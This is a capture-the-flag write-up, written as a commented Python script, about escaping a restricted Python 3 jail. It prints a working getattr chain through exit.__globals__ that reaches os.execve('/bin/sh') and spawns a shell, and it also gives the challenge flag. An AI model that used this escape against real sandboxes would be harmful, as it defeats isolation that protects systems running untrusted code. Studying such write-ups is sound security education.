Rating: 1.0
```
###############################################################
# Challenge
# desc: [ hell_of_a_jail - PWN 150 ]
#
# A guy from FBI found about your Ruby programming activities
# and has put you inside a python Jail ! Find your way out !
#
##################################################################
#:'
# Profided is a ssh key, server address and port to connect to.
# -p2222 user@hell-of-a-jail.ctf.insecurity-insa.fr
#
# After loggin into te server i got a nice welcome message
# and a python shell.
# But not just any shell a shell that would trim off all
# input longer than 14 chacters, with only 3 functions to use and
# remove all dots and double lower dashes and would spam your sceen
# with a thousend times the phrase "TROLLED !!!!" if a double quote
# occured in the input.
# _________________________________________________________________
# |To make matters evern worse the challenge was in python3. |
# |Who would spam my screen with messages like, |
# |Missing parentheses in call to 'print'. Did you mean print("A")? |
# ,+----------------------------------------------------------------=+
###################################################################
#
# To check what fucntions i wase allowed to use out of the box.
# I ran this on my local machine copied the output to the server
# +---------------------------------+
# | >>> for x in dir(__builtins__): |
# | ... print('%s()'%x) |
# +---------------------------------+
# Then I scrolled trough the error messages to check what fuctions
# were still alive and avalible.
# Turns out the only build-in functions I got to play with were:
#
# print(), exit() getattr()
#
# the last one I've had never used before but we became good friends
# during this challenge.
######################################
# [ CUTE NAMED FUNCIONS ] #
# #
G=getattr # G (fun) getattr # Because of de 15 chacter
P=print # P (fun) print # I decided to rename them
E=exit # E (fun) exit # to something shorter.
# # as I also had to do with
####################################### most of the stings.
# SOME USEFULL STRINGS #
u='_'+'_' # u (str) __ # While trying to explore the
c=u+'class'+u # c (str) __class__ # possiabilities (or lack here of)
cc=u+'call'+u #cc (str) __call__ # I realized soon enough that
cd=u+'code'+u #cd (str) __code__ # the time out on the sever was
d=u+'dir'+u # d (str) __dir__ # annoyingly short, it
dd=u+'doc'+u #dd (str) __doc__ # also did't auto complete
b=u+'bases'+u # b (str) __bases__ # on tab and was printing
s=u+'subclas'\ # s (str) __subclasses__ esc codes instead of moving
'ses'+u # my cursur back.
ss='self' #ss (str) self # I quickly moved to worinking
h='/bin/sh' #h (str) /bin/sh # in this script instead.
f='./flag.txt' # f (str) ./flag.txt #
ff=u+'file'+u #ff (srt) __file__ # this would also allow me to
fg=u+'flags'+u #fg (str) __flags__ # neatly organize my collection
o='open' # o (str) open # of usefull strings.
r='read' # r (str) read # 'n other things.
e='execve' # e (str) execve # my initinal tought was to
m=u+'mro'+u # m (str) __mro__ # create something simulair to:
n=u+'name'+u # n (str) __name__ # ().__class__.__bases__[0].__subclasses__()[40]("./key").read()
a='append' # a (str) append # wich I've seen and even used
g=u+'globals'\ # g (str) __globals__ before. but i never fully
''+u # understood what was going on
l=u+'locals'+u # l (str) __locals__ # after a lot of time READING
v='co_varnam'\ # v (str) co_varnames# python documentation.
'es' # I realized the fucntions
en='environ' #en (str) environ # that i wanted to use were.
#------------------------------------ # removed from __subclasses__
# I spend a lot of time browsing around this python class space
# reading writeups and documentation trying to figure out how to
# defeat this beast. I READ about how to use getattr to access atribute
# form objects, I READ even more about this strange object oriented
# world named python and exlporing with __mro__ __subclasses__ and __dir__
# But what I should have READ a little bit better was .
# !!!!! THE welcome MESSAGE comming FROM the SERVER. !!!!!!!!
# There was a big BIG big hint in there pointing towards the exit()
# It was only when I was rearanging my terminal windows, and closing
# the billion python documentation tabs in my browser. when I
# accsendently opened the ssh connection and wanted to close it with
# CTRL+D, but that din't work because quit() wasn't there so I typed
# exit() and I got promted with a error telling me that exit() requires 1
# argument... And then my eye caught the Welcome message.
# +------------------------------------------------------+
# [Oh my jail ! You need to exit() with the correct key. ]
# [It might make you free (and give you the flag) ]
# +------------------------------------------------------+
# After I saw this I know I was looking in the wrong places.
# and I focused my attention to the object named quit.
# Whom was holding a lot of goodies like __globals__
# With a os object.
#
# So I Quickly build a OBJchain.(Tm) and ran to the nearist exit.
# (what for me was '/bin/sh' I had everything already prepaired
# and ready to open a file or pop a shell.)
#
###########################################################
# [VERY USEFULL THINGEMAGADGETS]
C=G(E,c) # C (Obj) exit.__class__
B=G(C,b) # B (Obj) exit.__class__.__bases__
D=G(C,d) # D (Fun) exit.__class__.__dir__
S=G(B[0],s) # S (Obj) exit.__class__.__bases__[0].__subclasses__
M=G(C,m) # M (Obj) exit.__class__.__mro__
X=G(E,g) # X (Dic) exit.__globals__
O=X['os'] # O (Obj) exit.__globals__[os]
Y=G(O,en) # Y (Dic) exit.__globals__[os].environ
F=G(O,e) # F (Obj) exit.__globals__[os].execve
F(h,[h],Y) # exit.__globals__[os].execve('/bin/sh',['/bin/sh'],os.environ)
#
########################################################
#
# So after popping the shell I was a bit confused about the
# absence of the flag.txt I was craving for for all these hours.
# The only thing besides me in the path I ended up in was jail.pyc
# but I rememberd the welcome message said something about keys and exits.
# so I check it for strings. hoping it would hold a flag.
# wich it din't. So I wrapped it in some base64 and copied it to my local
# machine to decompile.
#
# +----------------------------------------------------------------------+
# |def exit(arg): |
# | """Must invoke with the right arg in order to get the flag.""" |
# | if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']: |
# | print('Oh no ! You managed to escape\nValidate with the key') |
# | return sys.exit(0) |
# | print('Wrong key') |
# +----------------------------------------------------------------------+
# #
# So yeah.. . . The flag was hiding in environment variables
# INSA{688a3188bcd888ad4540da2ac73c94ae9f55ded00ed1742c4388bb7c3285acd2} #
# I had a lot of fun and learned a lot during this challenge. #
# Shout out tO My team Mates. #
# -xXx- TNX FOR READING... #
#
#####M42D##################'''''''''''''''''''''''''''''''
```